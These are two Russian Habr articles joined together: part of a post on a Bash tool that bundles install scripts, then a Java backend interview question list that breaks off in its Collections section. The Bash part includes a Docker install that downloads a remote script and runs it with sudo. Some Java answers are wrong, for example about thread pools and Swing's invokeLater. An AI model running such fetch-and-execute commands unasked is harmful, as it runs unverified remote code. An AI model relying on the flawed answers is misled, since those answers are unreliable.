* VPS. Когда ты покупаешь облачный сервер, то он обычно пуст. Там почти никогда нет того, что тебе нужно: docker, docker-compose, настроенного VPN или почтового сервера. Не для всего нужен k8s с возможностью резервирования дополнительных мощностей, да и настройка подобной инфраструктуры занимает время.
* Персональный компьютер, виртуальные машины. Если вы предпочитаете операционные системы на основе Linux, то вам наверняка не раз приходилось пробовать новые дистрибутивы и сборки. И со временем вы обрастаете полезным инструментарием для работы на них. Но если вы вдруг купите новое железо или друзья попросят поделиться наработками? А может, у вас навернулся SSD или вы потеряли рабочий ноутбук?
* Установка и настройка одного и того же на различные дистрибутивы. Не все программы можно одинаково легко и безболезненно установить и настроить одновременно на Arch Linux и Debian. И если вы захотите перейти с Ubuntu на Arch Linux, то могут возникнуть сложности, и большие
* Сборка и установка пакетов из исходного кода. Нередко, чтобы получить актуальную или конкретную версию программы, нет иного способа, кроме как клонировать репозиторий, установить зависимости, собрать программу, установить её, а после настроить под себя. А иногда зависимости тоже необходимо собирать вручную. Это становится проблемой, когда весь процесс надо повторить на других машинах.
Таким образом, хотя проблема не самая острая, но иногда хочется просто написать скрипт или скопировать последовательность введённых в терминал команд, чтобы потом запускать нужный скрипт не думая о последствиях.
Пример такого скрипта на bash:
```
# Скачиваем скрипт-установщик
curl -fsSL https://get.docker.com -o get-docker.sh
# Устанавливаем докер
sudo sh get-docker.sh
# Удаляем скрипт-установщик
rm get-docker.sh
# Запускаем службу Docker
sudo systemctl enable --now docker
# Выдаём права текущему пользователю
sudo groupadd docker
sudo usermod -aG docker $USER
# Применяем права
newgrp docker
```
Скрипт простой и рабочий, хотя и не лишён недостатков, например, в плане безопасности.
Хотя для большинства пакетов и не требуется ввода несколько команд, но иногда приходится часами разбираться с проблемами в зависимостях тех или иных пакетов. Настраивать их под себя и так далее.
Решения
-------
Решают эту проблему по-разному. Приведу несколько интересных способов, что мне запомнились:
1. Свой дистрибутив/ядро/сборка. Собственные сборки на все случаи жизни.
*Мнение*: Трудоёмко и сложно в настройке и обновлении, но максимально стабильно и самый лучший способ кастомизации.
2. Свой универсальный пакет. В пакеты можно встраивать и скрипты для конфигурации. Что мешает создать пакет mydesktop, который при установке будет устанавливать и настраивать все ваши любимые программы.
*Мнение*: Менее трудоёмко, чем свой дистрибутив, но требует для настройки CI/CD для выпуска пакетов. Удобен для обновления и миграций конфигурации множества машин.
3. Скрипты на Python. С помощью таких библиотек как: [Fabric](https://www.fabfile.org), [Invoke](https://www.pyinvoke.org), [Plumbum](https://github.com/tomerfiliba/plumbum), [Ansible](https://www.ansible.com) и subprocess.
*Мнение*: Более гибкий способ, чем скрипты и собственно команды. Можно создать, например, универсальный пакетный менеджер, фасад для работы во всеми существующими. Но требует предварительной установки Python на машину (если ею не управляют через SSH).
4. Написать скрипты на Bash.
*Мнение*: самый простой способ - скопировать команды из терминала в файл, а после доставить через wget, SCP, curl куда угодно. Но не такой гибкий и с обновлениями есть проблемы.
Лично я попробовал все четыре способа. В итоге мне очень надоело постоянно что-то обновлять, тестировать, придумывать что-то сложное и гибкое - создание того самого универсального пакетного менеджера. И я написал простой сборщик скриптов на Bash, потому что он требует дополнительных зависимостей и действий.
Идея
----
Допустим у нас есть 3 скрипта: *install-docker.sh*, *install-wireshark.sh, install-tmux.sh.*
Хотим создать из них 2 итоговых скрипта: *desktop.sh* и *server.sh. В первый включить* все существующие скрипты, а во второй только *install-docker.sh и install-tmux.sh*
Почему сразу их не включить в эти скрипты? Принцип единственной ответственности: одна программа - один скрипт.
Реализовать на bash это достаточно просто:
```
#!/usr/bin/env bash
cat install-wireshark.sh > desktop.sh
cat install-tmux.sh >> desktop.sh
cat install-docker.sh >> desktop.sh
cat install-tmux.sh > server.sh
cat install-docker.sh >> server.sh
```
Теперь мы можем запустить этот скрипт и получить на выходе 2 скрипта для конфигурации.
Создадим папку scripts и все скрипты будем хранить там:
```
mkdir scripts
mv install-docker.sh scripts/docker.sh
mv install-tmux.sh scripts/tmux.sh
mv install-wireshark.sh scripts/wireshark.sh
```
Теперь составим список всех скриптов в папке, чтобы всегда можно было добавить что-нибудь ещё и добавим список для выбора (whiptail) для наглядности:
```
# Выясняем абсолютный путь до текущего скрипта
SCRIPTPATH="$(
cd "$(dirname "$0")" >/dev/null 2>&1
pwd -P
)"
# Указываем путь до папки со скриптами
SCRIPTS_DIRECTORY=$SCRIPTPATH/scripts
# Инициализиуем переменную со списком для checklist
_checklist=
# Цикл по всем скриптам в папке
for i in $SCRIPTS_DIRECTORY/*.sh; do
[ -e "$i" ] || continue
script_name=$(basename "$i")
_checklist+="$script_name $script_name off "
done
# Checklist
OUTPUT=$(whiptail --checklist "Please pick one" 10 60 4 $_checklist 3>&2 2>&1 1>&3)
```
РезультатАбсолютный путь до исполняемого скрипта *SCRIPTPATH необходим, если скрипт будет запускаться из произвольного места.*
Осталось только выделенные скрипты собрать в один:
```
output_script=$SCRIPTPATH/output.sh
for select_script_name in $OUTPUT; do
# Убираем кавычки:
select_script_name="${select_script_name%\"}"
select_script_name="${select_script_name#\"}"
# Собираем скрипты
cat $SCRIPTS_DIRECTORY/$select_script_name >> $output_script
done
```
Таким образом, мы получили простой скрипт для сборки скриптов для установки и настройки.
Итоговый код
```
#!/usr/bin/env bash
# Выясняем абсолютный путь до текущего скрипта
SCRIPTPATH="$(
cd "$(dirname "$0")" >/dev/null 2>&1
pwd -P
)"
# Указываем путь до папки со скриптами
SCRIPTS_DIRECTORY=$SCRIPTPATH/scripts
# Инициализиуем переменную со списком для checklist
_checklist=
# Цикл по всем скриптам в папке
for i in $SCRIPTS_DIRECTORY/*.sh; do
[ -e "$i" ] || continue
script_name=$(basename "$i")
_checklist+="$script_name $script_name off "
done
# Checklist
OUTPUT=$(whiptail --checklist "Please pick one" 10 60 4 $_checklist 3>&2 2>&1 1>&3)
output_script=$SCRIPTPATH/output.sh
for select_script_name in $OUTPUT; do
# Убираем ковычки:
select_script_name="${select_script_name%\"}"
select_script_name="${select_script_name#\"}"
# Собираем скрипты
cat $SCRIPTS_DIRECTORY/$select_script_name >> $output_script
done
```
Заключение
----------
Но простого скрипта для слияния нескольких файлов недостаточно, чтобы это было полезно для повседневной жизни. Вот что ещё предстоит реализовать для этого:
1. Зависимости из других скриптов. Например, чтобы использовать скрипт *install-docker-compose.sh для начала надо использовать install-docker.sh.*
2. Пользовательский интерфейс: CLI и/или TUI.
3. Логирование и работа с исключениями
4. Скрипты могут работать по-разному для различных систем. Поэтому скрипты, как минимум, должны знать:
* Какие в системе установлены пакетные менеджеры
* Какой дистрибутив используется
* Какие установлены WM и DE
* Версия ядра
5. Возможность в итоговый скрипт запаковывать дополнительные файлы (например, конфигурационные файлы)
6. Способы публикации созданных конфигурационных скриптов и доставки на устройства
7. Тестирование проекта
Если вам интересно, как это всё можно реализовать на чистом bash, то можете написать комментарии, что конкретно вам больше всего интересно. А так же можете посмотреть что в итоге у меня вышло: [Oh my Linux!](https://github.com/dodo325/ohmylinux)
P.S.
----
Под конец хочу ещё раз напомнить, что в данной статье не преследуется цель создать аналог новый [Fabric](https://www.fabfile.org/) или [Ansible](https://www.ansible.com), но на чистом Bash. Тут я делюсь, своими заметками о том, что Bash тоже интересный и вполне рабочий инструмент, на котором можно создавать проекты. | https://habr.com/ru/post/590797/ | null | ru | null |
# Вопросы к собеседованию Java-backend, Java core (60 вопросов)
Добрый день! Представляю вашему вниманию список вопросов к собеседованию Java Backend, которые я оформлял на протяжении около 2х лет.
Вопросы разбиты по темам: **core**, **collections**, **concurrency**, **io**, **exceptions**, которые задают основные направления хода технического собеседования. Звездочками отмечен субъективный (с точки зрения автора) уровень сложности вопроса, в сноске спойлера — краткий ответ на вопрос. Ответ представляет для интервьювера правильное направления развития мысли кандидата.
Опросник не претендует на роль исчерпывающего средства оценки технических навыков кандидата, это скорее еще одна компиляция вопросов и тем по Java и сопуствующим технологиям, принципам и концепциям разработки, коих в сети десятки. Она преследует цель собрать большое число технических вопросов, возникающих на собеседованиях, в удобном для читателей Хабра формате. Некоторые ответы следует воспринимать как мнемоники, «размечивающие» пространство поиска, так что глубже копать нужно уже в документации.
Также не стоит обращать внимание на слишком большое кол-во списков, так как это все-таки не вольное переложение авторских знаний с примесью литературной экспреcсии (что на хабре котируется и собирает аудиторию, особенно в пятницу). Этот список я составил для самого себя как способ структурировать основные тематики и типичные вопросы с собеседований, так что все дополнения и правки только приветствуются.
Это также не руководство к действию — не надо закидывать бедных кандидатов всеми вопросами из списка.
### Секция Core:
* Назвать методы [Object](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/Object.html). (\*)
**Краткий ответ**
+ toString()
+ equals()
+ hashCode()
+ wait()
+ notify()
+ notifyAll()
+ finalize() — deprecated в Java 9+
+ getClass()
Про toString(), equals(), hashCode() и их контракт знать нужно обязательно
* Что такое string-pool? В чем отличие cоздания строки через new от литерала? Что такое String.intern()? (\*)
**Краткий ответ**
string-pool — структура в памяти, хранящая массив всех строк-литералов программы.
String.intern(), соответственно, вернет строку из пула, при наличии таковой. Полезно при сравнениях вида:
```
new String("hello").intern() == new String("hello").intern()
```
Т.к без интернирования пришлось бы сравнивать строки через equals, что может быть медленнее при наличии длинных строк. В данном случае возвращается ссылка на один и тот же объект строки из пула, и проверка проходит с true.
* Почему хранить пароль предпочтительнее в char[]/byte[], а не в [String](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/String.html)? (\*\*)
**Краткий ответ**
+ Строка в виде литерала сразу раскрывает пароль, плюс она всегда хранится в string-пуле
+ byte[]/char[] возможно сбросить после использования, и удалить все ссылки на него
* Привести пример плохой реализации hashCode() (\*)
**Краткий ответ** Метод, возвращающий константу, или значения хэшкодов с неравномерным распределением, приводящим к коллизиям
* Примитивы, врапперы. Package/unpackage (boxing/unboxing). (\*)
**Краткий ответ**
+ Типы примитивы не создаются в куче, их жизненный цикл ограничен жизненным циклом стек-фрейма
+ Package — создание типа-обертки в хипе для аналогичного типа-примитива, например при объявлении аргумента как Integer, и при передаче int в качестве аргумента. Unpackage — обратная операция
* Сравнение по == и по equals (\*)
**Краткий ответ**
+ Сравнение по "==" — сравнение по ссылкам
+ Сравнение по «equals» — если переопределен equals, то это сравнение эквивалентности объектов по их полям, если нет — по ссылкам на объекты
* Свойства, которым должен удовлетворять equals (\*\*)
**Краткий ответ**
+ Рефлексивность: a==a
+ Симметричность: a==b, b==a
+ Транзитивность: a==b, b==c, a==c
+ Консистентность: Множественные вызовы equals должны возвращать один и тот же результат
* Отличия String/StringBuilder/StringBuffer (\*\*)
**Краткий ответ**
+ [String](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/String.html) — иммутабельный байтовый массив
+ [StringBuilder](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/StringBuilder.html) — helper-класс для построения строк, не предоставляет гарантий синхронизации
+ [StringBuffer](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/StringBuffer.html) — то же, что и StringBuilder, с synchronized методами
* Приведите пример нарушения симметрии equals (\*\*)
**Краткий ответ**
1. Создать класс Point2D c полями x,y: double
2. Унаследовать от него класс ColoredPoint2D c доп. полем color
3. a: Point2D
4. b: ColoredPoint2D
5. a.equals(b), !b.equals(a)
* Interface vs Abstract Class. (\*)
**Краткий ответ**
+ Интерфейс есть средство наследования API, абстрактный класс — средство наследования реализации
+ Через интерфейсы возможно осуществлять множественное наследование, абстрактный класс можно наследовать в одном экземпляре.
+ В интерфейсе нет возможности определить поля и конструкторы
* override vs overload (\*)
**Краткий ответ**
+ override — возможность переопределениия поведения метода в типах-потомках
+ overload — возможность переопределять метод с одним именем, но разным набором аргументов
* Как в Java сделать утечку памяти? (\*\*)
**Краткий ответ**
+ Используя самописный класс стека, при выполнении операции pop() не присваивать предыдущей ссылке значение null.
+ Также можно неверно использовать [HashMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/HashMap.html) вместо [WeakHashMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/WeakHashMap.html) для кэширования чего-нибудь большого, например картинок ваших товаров, пользователей и.т.д в. Т.к ссылки на ключи сильные (strong references), значения по этим ключам будут висеть в хипе до ~~морковкиного заговенья~~ следующей перезагрузки jvm процесса или удаления ключа из мапы и обнуления ссылки на него. Вообще, кэширование — тема для отдельного разговора
+ Также, [статья](https://www.toptal.com/java/hunting-memory-leaks-in-java) (но староватая)
* Как вернуть псевдо-случайную последовательность целых чисел/чисел с плавающей запятой? (\*\*)
**Краткий ответ** [java.util.Random](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Random.html)
* В чем проблемы [Random](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Random.html)? (\*\*)
**Краткий ответ** [Random](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Random.html) возвращает псевдо-случайную числовую последовательность, основанную на линейном конгруэнтном методе и seed'е, основанном на timestamp'е создания *j.u.Random*.
Соотвественно, зная время создания, можно предсказать такую последовательность. Такой генератор является детерминированным, и криптографически нестойким. Для исправления этого лучше использовать [SecureRandom](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/security/SecureRandom.html)
* GC и различные его виды в JVM. Какой объект считать достижимым. Как происходит сборка мусора (своими словами).(\*\*)
**Краткий ответ** Виды GC:
+ Serial Stop the World
+ Parallel
+ CMS (В чем недостаток по сравнению с Parallel?)
+ G1 (Назвать отличие от CMS)
+ Shenandoah
Если объект является достижимым из стека или статической области, то он не поддается сборке мусора
* Java 8: стримы, функциональные интерфейсы, [Optional](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Optional.html) (\*\*)
**Краткий ответ** [Stream](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/stream/Stream.html) — интерфейс, предоставляющий функциональные возможности обработки коллекций (filter, map, reduce, peek)
Операции на стримах делятся на терминальные и нетерминальные. Нетерминальные операции модифицируют pipeline операций над коллекцией, при этом не изменяя саму коллекцию, терминальные (например, collect) — проводят действия pipeline'а, возвращают результат и закрывают [Stream](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/stream/Stream.html).
[FunctionalInterface](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/FunctionalInterface.html) — аннотация, предоставляющая возможность использовать лямбды на месте интерфейсов (например, при передаче лямбды в качестве аргумента в метод)
[Optional](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Optional.html) — интерфейс, предохраняющий пользовательский код от nullable ссылок. Оборачивает исходный nullable объект, и предоставляет возможность понять, хранит ли non-nullable объект или нет.
* Java 8: Что такое capturing/non-capturing lambda (\*\*)
**Краткий ответ**
+ capturing lambda захватывает локальные переменные/аргументы/поля объекта из внешнего скоупа
+ non-capturing lambda — не захватывает контекст внешнего скоупа, не инстанцируется каждый раз при использовании
* Новые возможности Java 9 — 11 (\*\*)
**Краткий ответ**
+ Новые методы в String
+ Java 9: Модульность
+ Java 9: Методы в Objects: requireNonNullElse() и requireNonNullElseGet()
+ Java 9: List.of(), Set.of(), Map.of(), Map.ofEntries()
+ Java 9: Optional.ifPresentOrElse(), Optional.stream()
+ Java 10: var type-inference
+ Java 11: Files.readString(), Files.writeString()
+ Java 11: Local-Variable Syntax for Lambda Parameters — выведение типов у var-аргументов в лямбда-параметрах
+ Java 11: JEP 321: HTTP Client
Можно как бонус назвать какие-нибудь:
+ JEP 328: Flight Recorder
+ JEP 335: Deprecate the Nashorn JavaScript Engine
+ JEP 320: Remove the Java EE and CORBA Modules
но это совершенно необязательно, покажет лишь вашу въедливость при чтении JDK'шных Release Notes :)
* Swing: рассказать про EDT, как им пользоваться (\*\*)
**Краткий ответ** EDT — тред в котором производится обработка пользовательских действий на UI: движение курсора, нажатие клавиш, скролл, drag'n'drop и.т.д. Соотвественно, все «тяжелые» по времени и ресурсам операции нужно выносить в отдельный worker-тред (`SwingUtils.invokeLater(...)`), чтобы не фризить EDT.
* Swing: перечислить все виды Layout, которые знаете (\*\*)
**Краткий ответ**
+ [FlowLayout](https://docs.oracle.com/en/java/javase/11/docs/api/java.desktop/java/awt/FlowLayout.html)
+ [GridLayout](https://docs.oracle.com/en/java/javase/11/docs/api/java.desktop/java/awt/GridLayout.html)
+ [BoxLayout](https://docs.oracle.com/en/java/javase/11/docs/api/java.desktop/javax/swing/BoxLayout.html)
+ [BorderLayout](https://docs.oracle.com/en/java/javase/11/docs/api/java.desktop/java/awt/BorderLayout.html)
* Generics: В чем преимущество, как работают? Что такое type-erasure? В чем отличие от шаблонов C++? (\*\*)
**Краткий ответ**
+ Типы дженерики обеспечивают параметрический полиморфизм, т.е выполнение идентичного кода для различных типов. Типичный пример — коллекции, итераторы
+ type-erasure — это стирание информации о типе-параметре в runtime. Таким образом, в байт-коде мы увидим List, Set вместо List, Set, ну и type-cast'ы при необходимости
+ В отличие от дженериков в Java, в С++ шаблоны в итоге приводят к компиляции метода или типа для каждого специфицированного типа параметра (специализация шаблона). Да простят меня здесь адепты С++.
* Generics: Метод принимает ссылку на List. Child наследуется от Parent. Можно ли в метод передать List? (\*\*)
**Краткий ответ** В типе аргумента нужно указать List extends Parent
* Generics: Ковариантность/контравариантность. Спросить про принцип PECS как бонус
**Краткий ответ**
+ Ковариантность — List extends T, если B extends T, то и List **extends List**
+ Контраваринтность — List super T, если B super T, то и List **super List**
+ PECS — Producer-Extends-Consumer-Super, метод отдаёт ковариантный тип, принимает контравариантный (прим. автора — последнее интуитивно не очень понятно)
* Регионы памяти в JVM (\*\*)
**Краткий ответ** Java 8: Metaspace, Old Generation, Young Generation (Eden Space/Survivor Space), Stack, Constant Pool, Code Cache, GC Area.
* Hard-references, weak references, soft-references, phantom-references (\*\*\*)
**Краткий ответ**
+ Hard-references — стандартные ссылки на объекты, которые становится eligible for collection после недостижимости из root set
+ Weak-references — объекты могут быть удалены при наличии слабой ссылки на него в любое время
+ Soft-references — объекты могут удалятся GC при недостатке памяти
+ Phantom-references — объекты не доступны напрямую по ссылкам, перед удалением помещаются в очередь на удаление. Нужны для более безопасной финализации ссылок (вместо finalize)
* Рассказать про classloader'ы и их иерархию. Из за чего, например, может возникать NoClassDefFoundError, NoSuchMethodError? (\*\*\*)
**Краткий ответ** Иерархия classloader'ов
1. Bootstrap
2. System
3. Application
+ [NoClassDefFoundError](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/NoClassDefFoundError.html) может возникнуть, если нужной библиотеки с этим классом нет в classpath
+ [NoSuchMethodError](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/NoSuchMethodError.html) может возникнуть из-за несовместимости ваших библиотек, если зависимая библиотека A вызывает метод из старой версии библиотеки B, но в classpath есть более новая версия библиотеки B, c другой сигнатурой этого метода
* Какими способами можно сконструировать объект в Java? (\*\*)
**Краткий ответ**
+ Через конструктор
+ Через статический factory-method
+ Через паттерн Builder
* Как идентифицируется класс в Java? (\*\*)
**Краткий ответ** По его FQDN и classloader'у
* Bytecode: назовите какие-нибудь инструкции и опишите их (\*\*).
**Краткий ответ** Здесь только краткий список команд:
+ aload
+ aconst
+ astore
\* Попросить описать принцип действия стековой машины, как бонус. Допустим, на примере вызова метода.
* Bytecode: invokevirtual, invokestatic, invokespecial — когда используются?
**Краткий ответ**
+ invokevirtual — вызовы методов (в Java все методы виртуальные)
+ invokestatic — вызовы статических методов
+ invokespecial — вызовы конструкторов и приватных методов
### Секция Concurrency:
* synchronized. wait/notify/notifyAll. Как есть примитивы аналоги из пакета j.u.c? (\*\*)
**Краткий ответ** Дальше тезисы:
+ synchronized — ключевое слово, обозначающее скоуп критической секции. Можно ставить напротив объявления метода, или в виде блока в коде.
+ wait() — ожидание треда до тех пор, пока он не будет разбужен другим тредом через notify/notifyAll.
+ У wait() есть перегруженные версии с таймаутами.
+ Тред ставится в wait-set на объекте
+ Перед вызовом wait() нужно захватить монитор на данном объекте (через synchronized)
+ Магия wait() — он отпускает лок на мониторе объекта после вызова, так чтобы в дальнейшем другой тред мог захватить монитор и вызвать notify/notifyAll
+ notify() — будит **один из** ожидающих тредов, но **Важно!** — лок на объекте не отпускает, т.е ожидающий тред разбужен будет, но с ожиданием входа в критическую секцию объекта (т.к как будто остановился на synchronized). Так что если после notify есть тяжелые операции, это затормозит ожидающий тред, т.к тред с notify еще не отпустил монитор
+ notifyAll() — будут разбужены все треды в wait-set, но при этом далее между тредами происходит contention («сражение») за монитор
+ Тред на wait() может быть разбужен также через interrupt, или через spurious wake-up, или по таймауту
+ Так что условие выполнения, которого ожидает тред, проверяется в цикле while, а не в if
+ Примитив-аналог — [Condition](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/locks/Condition.html)
* volatile. happens-before. (\*\*)
**Краткий ответ**
+ Ключевое слово volatile устанавливает отношение happens-before над операциями записи-чтения на поле
+ Таким образом, операции чтения из читающих тредов будут видеть эффекты записи пишущих тредов.
+ В частности, решается проблема double checked locking. Для double/long типов есть проблема атомарности, она решается через атомики
* AtomicInteger, AtomicLong, AtomicBoolean, AtomicDouble (\*\*)
**Краткий ответ**
+ Атомики предоставляют возможность изменения переменной в нескольких потоках без эффекта гонок.
+ Например, 10 тредов инкрементят AtomicInt = 0, основной тред ждет их выполнения через countdown-latch, далее проверка атомика должна показать 10.
+ Основной механизм под капотом атомиков — цикл cas (compare-and-set). На примере increment:
1. Читаем старое значение
2. Перед set'ом проверяем старое значение, если оно не изменилось, сетаем старое + 1
3. Если изменилось, в след. итерации получаем «новое» старое, далее см. п. 1
* Редкий вопрос — как поймать exception из другого треда? (\*\*\*)
**Краткий ответ** Зарегистрировать [Thread.UncaughExceptionHandler](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/Thread.UncaughtExceptionHandler.html)
* [ReentrantLock](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/locks/ReentrantLock.html) (\*\*)
**Краткий ответ** Примитив синхронизации, с помощью которого можно установить границы критической секции. Тред, перед входом в критическую секцию должен сделать захват c операцией `lock()`, после выхода из крит. секции — сделать `unlock()`. Другой тред в это время ожидает на lock'е (можно указывать таймаут ожидания), либо может проверить доступность через `tryLock()`.
[ReentrantLock](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/locks/ReentrantLock.html) обязательно нужно освобождать (такое кол-во раз, сколько раз он был захвачен), в противном случае будет thread starvation у других тредов, ожидающих у границы критической секции.
[ReentrantLock](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/locks/ReentrantLock.html) может быть «честным» (fairness = true), тогда приоритет отдается тредам, ждущих на нем наибольшее кол-во времени, но это вроде как уменьшает производительность
```
lock.lock(); // block until condition holds
try {
// ... method body
} finally {
lock.unlock()
}
```
* [Countdown Latch](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/CountDownLatch.html)/[Cyclic Barrier](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/CyclicBarrier.html) (\*\*)
**Краткий ответ** CountdownLatch («защелка») — примитив синхронизации, с помощью которого, например, основной thread может ожидать выполнения работы остальных N тредов. Треды, выполняющие работу, выполняют countDown() на защелке, основной тред ожидает на операции await(). Когда счетчик достигает нуля, основной тред продолжает работу.
Для синхронизации N тредов (все ждут всех) и переиспользования используется [CyclicBarrier](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/CyclicBarrier.html), ему также можно указывать действие (через Runnable), выполняемое после синхронизации всех-со-всеми
* [ThreadLocal](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ThreadLocal.html) (\*\*)
**Краткий ответ** Класс, предоставляющий доступ к операциям get/set в области видимости треда. Под капотом содержит кастомную реализацию мапы со слабыми ссылками на ключи-треды. Каждый тред имеет доступ только к своим данным.
* Создание singleton? (\*\*)
**Краткий ответ**
+ Наивным способом, с проверкой на null статического поля
+ [Double checked locking](https://ru.wikipedia.org/wiki/%D0%91%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D1%81_%D0%B4%D0%B2%D0%BE%D0%B9%D0%BD%D0%BE%D0%B9_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%BE%D0%B9) (объяснить проблемы double checked locking)
+ Простой — инициализация статического поля, или через enum, т.к ленивая инициализация thread-safe по-умолчанию
* Способы запустить поток? (\*\*\*)
**Краткий ответ**
+ Переопределить Thread#run(), запустить через Thread#start()
+ new Thread(Runnable).start()
+ Через [ExecutorService](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/ExecutorService.html), используя utility-класс [Executors](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/Executors.html)
* [ConcurrentHashMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/ConcurrentHashMap.html) (\*\*)
**Краткий ответ** [ConcurrentHashMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/ConcurrentHashMap.html) имеет разные реализации в 1.7 и 1.8 (что стало для меня неожиданностью).
Раньше параллелизм основывался на идее сегментирования хэштаблицы на основе заданного уровня параллелизма.
Начиная с Java 8 — это единый массив бакетов с lock-free (локинг на первой ноде бакета с cas-циклом) и конкурентным ресайзингом.
[Частичная реализация ConcHashMap (аля Java 8) с нуля](https://habr.com/ru/post/327186/) от [kuptservol](https://habr.com/ru/users/kuptservol/)
* [ConcurrentSkipListMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/ConcurrentSkipListMap.html)
**Краткий ответ** Lock-free структура данных, хранящая упорядоченный набор элементов, с O(log N) временем доступа/удаления/вставки и weakly-consistent итераторами. Под капотом содержит структуру SkipList, предоставляющую собой слои связных списков, от верхнего к нижнему, элементы верхнего списка ссылаются на элементы нижнего списка под ними. Вероятность попадания элемента при вставке в самый нижний список — 1.0, далее она равняется p (либо 1/2, либо 1/4 как правило) — вероятности попадания элемента из нижнего списка в верхний. Таким образом, на самом верхнем будет вставлено минимальное кол-во элементов. Skiplist — вероятностная структура данных. Подробнее и доходчиво про skiplist описано [здесь](https://habr.com/ru/post/139870/). Полезна, если стоит задача отсортировать поток событий, одновременно читаемый несколькими тредами, которым нужно делать срез по временному интервалу. Более медленные операции по сравнению с [ConcurrentHashMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/ConcurrentHashMap.html)
* Thread states (\*\*)
**Краткий ответ**
+ NEW
+ RUNNABLE
+ BLOCKED(monitor lock)
+ WAITING(Thread.join)
+ TERMINATED
* Deadlocks, условия наступления, как избежать: (\*\*\*)
**Краткий ответ**
+ Условия наступления — эксклюзивность доступа к ресурсам, наличие циклов в графе ожиданий ресурсов, отсуствие таймаутов на ожидание
+ Как избежать — задать порядок доступа к ресурсам. Всегда обращение в порядке либо Thread1->Thread2, либо Thread2->Thread1
* [ThreadPoolExecutor](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/ThreadPoolExecutor.html) — описать механизм работы, св-ва, частности (fixed threadpool, scheduled, single thread executor) (\*\*\*)
**Краткий ответ** [ThreadPoolExecutor](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/ThreadPoolExecutor.html) — средство контроля исполнения параллельных задач, задействует один из свободных тредов в общем пуле, или ставит задание в очередь, если таковых нет, или достигнуты определенные условия (ниже)
Основными св-вами [ThreadPoolExecutor](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/ThreadPoolExecutor.html) являются *corePoolSize* и *maxPoolSize*. Если текущее количество тредов в пуле < *corePoolSize* — новый тред будет создаваться в независимости от того, есть ли в пуле незанятые треды. В промежутке между *corePoolSize* и *maxPoolSize* тред будет создаваться в том случае, если заполнена очередь задач, и удаляться спустя *keepAliveTime*. Если кол-во тредов стало >= *maxPoolSize* — новые треды не создаются, а задачи ставятся в очередь.
Есть возможность регулировать поведение очереди:
+ Direct handoffs: немедленная передача задачи тредпулу. Нет понятия очереди задачи. Если свободных тредов нет — кидается exception. Применимо при неограниченных maxPoolSize, но нужно понимать проблему при быстрых записях и медленных чтениях, что может спровоцировать непомерное потребление ресурсов
+ Unbounded queues: очередь без ограничений. Задачи будут добавляться в нее при превышении corePoolSize, при этом *maxPoolSize* будет игнорироваться. Unbounded queues имеют проблемы потребления ресурсов при больших нагрузках, но сглаживают рост тредов при пиках.
+ Bounded queues: очередь с ограничениями. Задачи будут добавляться в очередь до достижения некоего capacity. Для достижения наилучшей производительности нужно понимать размеры *corePoolSize* и самой очереди и чем можно пожертвовать — перфомансом (малый *corePoolSize* и большая очередь), или же памятью (ограниченная очередь, большой corePoolSize)
Частности [ThreadPoolExecutor](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/ThreadPoolExecutor.html):
+ [ScheduleThreadPoolExecutor](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/ScheduledThreadPoolExecutor.html) — применяется для периодичных по времени задач
+ fixed thread pool — частность [ScheduleThreadPoolExecutor'а](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/ThreadPoolExecutor.html) с настроенным *corePoolSize* и unbounded queue
+ single thread executor — тредпулл, c *сorePoolSize* = 1, гарантирующий последовательное выполнение задач из очереди
### Секция Collections:
* Рассказать про java.util.collection. (\*)
**Краткий ответ**
+ [Iterable](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/Iterable.html) — реализуют коллекции, по которым можно проитерироваться
+ [Сollection](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Collection.html) — общий интерфейс для коллекций
